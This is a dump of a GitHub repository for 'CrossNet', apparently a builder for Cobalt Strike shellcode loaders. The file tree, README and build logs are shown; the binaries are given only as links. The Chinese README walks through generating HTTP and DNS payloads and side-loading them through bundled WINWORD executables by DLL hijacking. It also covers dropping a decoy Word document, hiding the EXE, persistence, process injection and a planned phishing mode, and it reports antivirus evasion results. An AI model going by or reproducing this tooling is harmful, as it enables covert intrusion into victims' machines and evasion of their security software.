├── .DS_Store ├── CrossNet.exe ├── README.md ├── media ├── crossnet.png ├── crossnetgenbin.png ├── cson.png ├── genbin.png ├── genedfile.png └── wordfile.png ├── vswhere.exe └── wwlib ├── .vs └── wwlib │ └── v15 │ ├── .suo │ ├── Browse.VC.db │ └── ipch │ ├── 2ffe0de2d1ffc937.ipch │ ├── 5f79d404c30a3917.ipch │ ├── 63dfa7c524ad9243.ipch │ ├── c131717924cc1ba3.ipch │ └── d8b276f19665585.ipch ├── Debug └── .DS_Store ├── Firewall1.ico ├── Release └── .DS_Store ├── wwlib.sln └── wwlib ├── .DS_Store ├── Debug ├── WWLIB.Build.CppClean.log ├── WWLIB.pch ├── dllmain.obj ├── pch.obj ├── vc141.idb ├── vc141.pdb ├── wwlib.log ├── wwlib.obj ├── wwlib.tlog │ ├── CL.command.1.tlog │ ├── CL.read.1.tlog │ ├── CL.write.1.tlog │ ├── link.command.1.tlog │ ├── link.read.1.tlog │ ├── link.write.1.tlog │ ├── rc.command.1.tlog │ ├── rc.read.1.tlog │ ├── rc.write.1.tlog │ ├── wwlib.lastbuildstate │ └── wwlib.write.1u.tlog └── wwlib2.res ├── RCa06868 ├── RCa09072 ├── Release ├── WWLIB.Build.CppClean.log ├── WWLIB.pch ├── dllmain.obj ├── pch.obj ├── vc141.pdb ├── wwlib.log ├── wwlib.obj ├── wwlib.tlog │ ├── CL.command.1.tlog │ ├── CL.read.1.tlog │ ├── CL.write.1.tlog │ ├── link.command.1.tlog │ ├── link.read.1.tlog │ ├── link.write.1.tlog │ ├── rc.command.1.tlog │ ├── rc.read.1.tlog │ ├── rc.write.1.tlog │ ├── wwlib.lastbuildstate │ └── wwlib.write.1u.tlog └── wwlib2.res ├── Resources ├── dnspayload.bin ├── httppayload.bin └── winword.docx ├── cpp.hint ├── dllmain.cpp ├── framework.h ├── lolbins ├── WINWORD2007.EXE ├── WINWORD2010.EXE └── WINWORD2013.EXE ├── pch.cpp ├── pch.h ├── resource.h ├── resource1.h ├── resource2.h ├── temp.bin ├── winword.docx ├── wwlib.cpp ├── wwlib.h ├── wwlib.rc ├── wwlib.vcxproj ├── wwlib.vcxproj.filters ├── wwlib.vcxproj.user ├── wwlib1.aps ├── wwlib1.rc ├── wwlib2.aps └── wwlib2.rc /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/.DS_Store -------------------------------------------------------------------------------- /CrossNet.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/CrossNet.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CrossNet 2 | 3 | 通过判断目标是否出网，何种方式出网选择相应的方式上线。 4 | 5 | ![image-20210204174143759](media/crossnet.png) 6 | 7 | 选择CobaltStrike4.1 RAW格式shellcode 生成payload.bin 生成不同listener 的payload ，这里生成http和dns 8 | 9 | ![image-20210204174355145](media/genbin.png) 10 | 11 | 点击choose将生成的payload或doc文件选择到对应选项 12 | 13 | ![image-20210204174543697](media/crossnetgenbin.png) 14 | 15 | 等待一会，成功生成目标文件和dll 到当前文件夹 16 | 17 | ![image-20210204174736440](media/genedfile.png) 18 | 19 | 点击会发现释放出真实docx文件并执行，并将exe文件设为隐藏。 20 | 21 | ![image-20210204175122872](media/wordfile.png) 22 | 23 | 过一会CS会上线。 24 | 25 | ![image-20210204175242780](media/cson.png) 26 | 27 | ## 注意 28 | 29 | 生成马需要visual studio环境，这里是visual studio 2017 30 | 31 | # 已实现 32 | 33 | 判断出网方式 TCP、DNS √ 34 | 35 | 依据不同的出网方式进行shellcode加载 √ 36 | 37 | 利用lolbins结合dll劫持执行shellcode √ 38 | 39 | ### Beta 1.0.2 40 | 41 | 修改可执行内存申请 后添加可执行权限√ 42 | 43 | 添加sleep 万一能绕过沙箱√ 44 | 45 | 将判断dns是否出网替换自己指向127.0.0.1 的域名 √ 46 | 47 | ### Beta 1.1.0 48 | 49 | 释放出word并将word文件名修改一致[Beta=1.1.0]√ 50 | 51 | 设置当前EXE文件为隐藏[Beta=1.1.0]√ 52 | 53 | 将shellcode加密存放在dll文件中[Beta=1.1.0]√ 54 | 55 | 解密本地shellcode并运行shellcode [Beta=1.1.0]√ 56 | 57 | 权限维持[Beta=1.1.0]√ 58 | 59 | 进程注入到系统进程[Beta=1.1.0]√ 60 | 61 | 新方式出网探测[[Beta=1.1.0]√ 62 | 63 | 64 | 65 | # TODO： 66 | 67 | EXE自删除 68 | 69 | DNS beacon自动checkin 70 | 71 | ICMP协议支持 72 | 73 | 寻找更可靠的权限维持方法 74 | 75 | 功能分化： 1. 免杀模式 2. 钓鱼模式（释放word） 76 | 77 | 免杀模式： 78 | 1. 其他白利用方式 79 | 80 | 钓鱼模式： 81 | 1. 添加chm帮助文件 白利用链 82 | 83 | 84 | 85 | 86 | 87 | # 免杀测试： 88 | 89 | ## 静态扫描检测： 90 | 91 | 92 | 93 | 360杀毒 未通过 94 | 95 | 360安全卫士 通过 96 | 97 | 火绒 通过 98 | 99 | 100 | 101 | ## 动态执行扫描检测： 102 | 103 | 360杀毒 通过 104 | 105 | 360安全卫士 通过 106 | 107 | 火绒 通过 108 | 109 | 110 | 111 | # 问题： 112 | 113 | 114 | 115 | 比较优秀的支持icmp协议的远控？ 116 | -------------------------------------------------------------------------------- /media/crossnet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/media/crossnet.png -------------------------------------------------------------------------------- /media/crossnetgenbin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/media/crossnetgenbin.png -------------------------------------------------------------------------------- /media/cson.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/media/cson.png -------------------------------------------------------------------------------- /media/genbin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/media/genbin.png -------------------------------------------------------------------------------- /media/genedfile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/media/genedfile.png -------------------------------------------------------------------------------- /media/wordfile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/media/wordfile.png -------------------------------------------------------------------------------- /vswhere.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/vswhere.exe -------------------------------------------------------------------------------- /wwlib/.vs/wwlib/v15/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/.vs/wwlib/v15/.suo -------------------------------------------------------------------------------- /wwlib/.vs/wwlib/v15/Browse.VC.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/.vs/wwlib/v15/Browse.VC.db -------------------------------------------------------------------------------- /wwlib/.vs/wwlib/v15/ipch/2ffe0de2d1ffc937.ipch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/.vs/wwlib/v15/ipch/2ffe0de2d1ffc937.ipch -------------------------------------------------------------------------------- /wwlib/.vs/wwlib/v15/ipch/5f79d404c30a3917.ipch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/.vs/wwlib/v15/ipch/5f79d404c30a3917.ipch -------------------------------------------------------------------------------- /wwlib/.vs/wwlib/v15/ipch/63dfa7c524ad9243.ipch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/.vs/wwlib/v15/ipch/63dfa7c524ad9243.ipch -------------------------------------------------------------------------------- /wwlib/.vs/wwlib/v15/ipch/c131717924cc1ba3.ipch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/.vs/wwlib/v15/ipch/c131717924cc1ba3.ipch -------------------------------------------------------------------------------- /wwlib/.vs/wwlib/v15/ipch/d8b276f19665585.ipch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/.vs/wwlib/v15/ipch/d8b276f19665585.ipch -------------------------------------------------------------------------------- /wwlib/Debug/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/Debug/.DS_Store -------------------------------------------------------------------------------- /wwlib/Firewall1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/Firewall1.ico -------------------------------------------------------------------------------- /wwlib/Release/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/Release/.DS_Store -------------------------------------------------------------------------------- /wwlib/wwlib.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.1022 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "wwlib", "wwlib\wwlib.vcxproj", "{859C185B-3467-44DD-B108-9E0BA59204C2}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {859C185B-3467-44DD-B108-9E0BA59204C2}.Debug|x64.ActiveCfg = Debug|x64 17 | {859C185B-3467-44DD-B108-9E0BA59204C2}.Debug|x64.Build.0 = Debug|x64 18 | {859C185B-3467-44DD-B108-9E0BA59204C2}.Debug|x86.ActiveCfg = Debug|Win32 19 | {859C185B-3467-44DD-B108-9E0BA59204C2}.Debug|x86.Build.0 = Debug|Win32 20 | {859C185B-3467-44DD-B108-9E0BA59204C2}.Release|x64.ActiveCfg = Release|x64 21 | {859C185B-3467-44DD-B108-9E0BA59204C2}.Release|x64.Build.0 = Release|x64 22 | {859C185B-3467-44DD-B108-9E0BA59204C2}.Release|x86.ActiveCfg = Release|Win32 23 | {859C185B-3467-44DD-B108-9E0BA59204C2}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {89C9E912-263A-4935-ABC6-D5EED12E9D3E} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /wwlib/wwlib/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/.DS_Store -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/WWLIB.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.pch 2 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\vc141.pdb 3 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\vc141.idb 4 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\pch.obj 5 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.obj 6 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\dllmain.obj 7 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\debug\wwlib.ilk 8 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\debug\wwlib.dll 9 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\debug\wwlib.pdb 10 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib2.res 11 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\debug\wwlib.lib 12 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\debug\wwlib.exp 13 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.tlog\cl.command.1.tlog 14 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.tlog\cl.read.1.tlog 15 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.tlog\cl.write.1.tlog 16 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.tlog\link.command.1.tlog 17 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.tlog\link.read.1.tlog 18 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.tlog\link.write.1.tlog 19 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.tlog\rc.command.1.tlog 20 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.tlog\rc.read.1.tlog 21 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.tlog\rc.write.1.tlog 22 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\debug\wwlib.tlog\wwlib.write.1u.tlog 23 | -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/WWLIB.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/WWLIB.pch -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/dllmain.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/dllmain.obj -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/pch.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/pch.obj -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/vc141.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/vc141.idb -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/vc141.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/vc141.pdb -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.log: -------------------------------------------------------------------------------- 1 |  wwlib.vcxproj -> C:\Users\shy\source\repos\CrossNet\CrossNet\bin\Debug\wwlib\Debug\WWLIB.dll 2 | -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.obj -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/rc.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.tlog/rc.command.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/rc.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.tlog/rc.read.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/rc.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.tlog/rc.write.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/wwlib.lastbuildstate: -------------------------------------------------------------------------------- 1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 2 | Debug|Win32|C:\Users\shy\source\repos\CrossNet\CrossNet\bin\Debug\wwlib\| 3 | -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib.tlog/wwlib.write.1u.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib.tlog/wwlib.write.1u.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Debug/wwlib2.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Debug/wwlib2.res -------------------------------------------------------------------------------- /wwlib/wwlib/RCa06868: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/RCa06868 -------------------------------------------------------------------------------- /wwlib/wwlib/RCa09072: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/RCa09072 -------------------------------------------------------------------------------- /wwlib/wwlib/Release/WWLIB.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.pch 2 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\vc141.pdb 3 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\pch.obj 4 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.obj 5 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\dllmain.obj 6 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\release\wwlib.dll 7 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\release\wwlib.pdb 8 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib2.res 9 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\release\wwlib.lib 10 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\release\wwlib.exp 11 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.tlog\cl.command.1.tlog 12 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.tlog\cl.read.1.tlog 13 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.tlog\cl.write.1.tlog 14 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.tlog\link.command.1.tlog 15 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.tlog\link.read.1.tlog 16 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.tlog\link.write.1.tlog 17 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.tlog\rc.command.1.tlog 18 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.tlog\rc.read.1.tlog 19 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.tlog\rc.write.1.tlog 20 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\release\wwlib.tlog\wwlib.write.1u.tlog 21 | -------------------------------------------------------------------------------- /wwlib/wwlib/Release/WWLIB.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/WWLIB.pch -------------------------------------------------------------------------------- /wwlib/wwlib/Release/dllmain.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/dllmain.obj -------------------------------------------------------------------------------- /wwlib/wwlib/Release/pch.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/pch.obj -------------------------------------------------------------------------------- /wwlib/wwlib/Release/vc141.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/vc141.pdb -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.log: -------------------------------------------------------------------------------- 1 |  pch.cpp 2 | dllmain.cpp 3 | _WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h) 4 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\dllmain.cpp(131): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings 5 | c:\program files (x86)\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 6 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\dllmain.cpp(347): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 7 | c:\program files (x86)\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 8 | wwlib.cpp 9 | 正在生成代码... 10 | c:\users\shy\source\repos\crossnet\crossnet\bin\debug\wwlib\wwlib\dllmain.cpp(270): warning C4172: 返回局部变量或临时变量的地址: shellbinbuf 11 | 正在创建库 C:\Users\shy\source\repos\CrossNet\CrossNet\bin\Debug\wwlib\Release\WWLIB.lib 和对象 C:\Users\shy\source\repos\CrossNet\CrossNet\bin\Debug\wwlib\Release\WWLIB.exp 12 | wwlib.vcxproj -> C:\Users\shy\source\repos\CrossNet\CrossNet\bin\Debug\wwlib\Release\WWLIB.dll 13 | -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.obj -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/rc.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.tlog/rc.command.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/rc.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.tlog/rc.read.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/rc.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.tlog/rc.write.1.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/wwlib.lastbuildstate: -------------------------------------------------------------------------------- 1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 2 | Release|Win32|C:\Users\shy\source\repos\CrossNet\CrossNet\bin\Debug\wwlib\| 3 | -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib.tlog/wwlib.write.1u.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib.tlog/wwlib.write.1u.tlog -------------------------------------------------------------------------------- /wwlib/wwlib/Release/wwlib2.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Release/wwlib2.res -------------------------------------------------------------------------------- /wwlib/wwlib/Resources/dnspayload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Resources/dnspayload.bin -------------------------------------------------------------------------------- /wwlib/wwlib/Resources/httppayload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hayasec/CrossNet-Beta/d09d83668a3124e83628a0ec739f53aab4d021b2/wwlib/wwlib/Resources/httppayload.bin -------------------------------------------------------------------------------- 